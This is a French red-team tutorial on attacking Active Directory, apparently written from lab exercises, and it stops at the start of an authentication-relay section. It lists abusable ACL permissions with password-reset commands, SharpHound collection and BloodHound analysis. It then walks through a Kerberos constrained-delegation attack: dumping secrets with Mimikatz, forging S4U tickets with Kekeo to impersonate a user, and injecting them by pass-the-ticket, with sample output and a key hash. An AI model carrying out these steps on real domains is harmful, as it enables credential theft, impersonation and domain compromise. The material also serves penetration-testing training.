REDTEAM – Exploiter l’AD

Délégation de permissions

Active Directory peut déléguer des autorisations et des privilèges grâce à une fonction appelée délégation de permissions (à ne pas confondre avec la délégation Kerberos). En utilisant la délégation, un administrateur du domaine peut déléguer des permissions à des groupes d’utilisateurs. En principe, pour garantir la sécurité de la délégation, il convient de respecter le principe du moindre privilège.

Presque tous les objets AD peuvent être sécurisés à l’aide d’ACE, qui décrivent ensuite les autorisations autorisées et refusées que tout autre objet AD possède par rapport à l’objet cible. Cependant, si ces ACE sont mal configurés, un attaquant peut les exploiter.

Manuel (Enumération des ACEs)

Un grand nombre d’ACE peuvent être mal configurés et les moyens d’exploitation varient d’un ACE à l’autre. La documentation de Bloodhound explique les ACEs énumérés et comment ils peuvent être exploités. Cependant, nous nous pencherons ici sur quelques ACE notables :

  • ForceChangePassword : Peut définir le mot de passe l’utilisateur sans connaître son mot de passe actuel.
net user /domain <username> "<new-password>"
  • AddMembers : Peut ajouter des utilisateurs (y compris notre propre compte), des groupes ou des ordinateurs à un groupe cible.
  • GenericAll : A un contrôle complet sur l’objet (changer le mot de passe de l’utilisateur, enregistrer un SPN ou d’ajouter un objet AD au groupe).
net user /domain <username> "<new-password>"
  • GenericWrite : Peut modifier tous les paramètres non protégés l’objet cible.
  • WriteOwner : Peut modifier le propriétaire de l’objet cible.
  • WriteDACL : Peut ajouter de nouveaux ACE dans le DACL de l’objet cible (ex: écrire une ACE qui accorde à notre compte un contrôle total sur l’objet cible).
  • AllExtendedRights (Tous les droits étendus) : Nous avons la possibilité d’effectuer toute action associée aux droits AD étendus sur l’objet cible.

Afin d’exploiter ces ACE, nous aurons besoin d’interagir avec AD afin de faire ces requêtes. Les deux meilleures options sont les cmdlets PowerShell AD-RSAT ou PowerSploit.

Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory

Obtenir les ACLs d’un objet :

(Get-Acl -Path "C:\Windows\<file/folder>").access
Get-Acl -Path "AD:\<AD-object-DN>"

Bloodhound / SharpHound

Bloodhound permet de visualiser l’environnement AD sous forme de graphe. Chaque connexion est un chemin possible qui pourrait être exploité pour atteindre un but.

Cette pensée basée sur les graphes a ouvert un monde aux attaquants. Les attaquants peuvent désormais utiliser ces données hors ligne pour trouver des chemins d’attaque, montrant précisément les étapes et les sauts nécessaires. Ils peuvent ensuite revenir et atteindre leur objectif en quelques minutes.

Sharphound est l’outil d’énumération de Bloodhound : il récupère l’information sur le réseau et la machine. Il existe trois différents collecteurs de Sharphound :

  • Sharphound.exe – Une version exécutable (recommandé).
  • Sharphound.ps1 – Script PowerShell
  • AzureHound.ps1 – Script PowerShell pour l’exécution d’instances Sharphound pour Azure (Microsoft Cloud Computing Services)
Extraction

Ne touche pas à l’AD (–ExcludeDCs) :

SharpHound.exe --CollectionMethods All --Domain <domain> --ExcludeDCs
scp <username>@<IP/FQDN>:<Path>/<Sharphound ZIP> .
Analyse
neo4j console start
bloodhound --no-sandbox

Drag & Drop le fichier zip et happy graphing !

Délégation Kerberos

Constrained Delegation

Enumérer les délégations (Powerview)

Get-NetUser -TrustedToAuth

Récupération des identifiants (Mimikatz)

C:\> C:\Tools\mimikatz_trunk\x64\mimikatz.exe

mimikatz # token::elevate
mimikatz # lsadump::secrets

Une fois les identifiants du compte récupéré. On peut mener notre attaque Kerberos

Attaque par délégation (Kekeo & Mimikatz)

Nous utiliserons une combinaison de Kekeo et de Mimikatz. Vous pouvez utiliser une autre fenêtre pour Mimikatz, mais assurez-vous de sortir de Mimikatz après la commande token::elevate, sinon les tickets seront chargés dans le mauvais contexte par la suite.

Génération d’un TGT (Kekeo) :
PS C:\> C:\Tools\kekeo\x64\kekeo.exe
tgt::ask /user:<username> /domain:<domain> /password:<password>
PS C:\> kekeo # tgt::ask /user:appWeb  /domain:lab.capsule.corp /password:<password>

Realm        : za.tryhackme.loc (za)
User         : appWeb (appWeb)
CName        : appWeb   [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/lab.capsule.corp  [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt      ): 24460d632f279c789b20049cee36ae90
[kdc] name: dc.lab.capsule.corp (auto)
[kdc] addr: 192.168.2.15 (auto)
  > Ticket in file '[email protected][email protected]'
Génération d’un Service Ticket (Kekeo) :

En utilisant la délégation on peut obtenir un TGS/ST (Service Ticket) au nom d’un utilisateur :

tgs::s4u /tgt:<path-to-TGT-file> /user:<username-to-inpersonate> /service:<service-to-delegate>
# exemple

kekeo # tgs::s4u /tgt:[email protected][email protected] /user:picolo.namek /service:http/Server01.lab.capsule.corp

Ticket  : [email protected][email protected]
......
[s4u2self] picolo.namek
......
  > Ticket in file '[email protected][email protected]'
Service(s):
  [s4u2proxy] http/Server01.lab.capsule.corp
  > Ticket in file '[email protected][email protected]'
Chargement du TGS en mémoire (Mimikatz) :
privilege::debug
kerberos::ptt <TGS-file-path>
# exemple 

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt [email protected][email protected]

* File: '[email protected][email protected]': OK

Auth. Relay

Les tentatives d’authentification se font constamment à travers le réseau. Il nous est possible de les intercepter pour tenter de les cracker ou de les rejouer.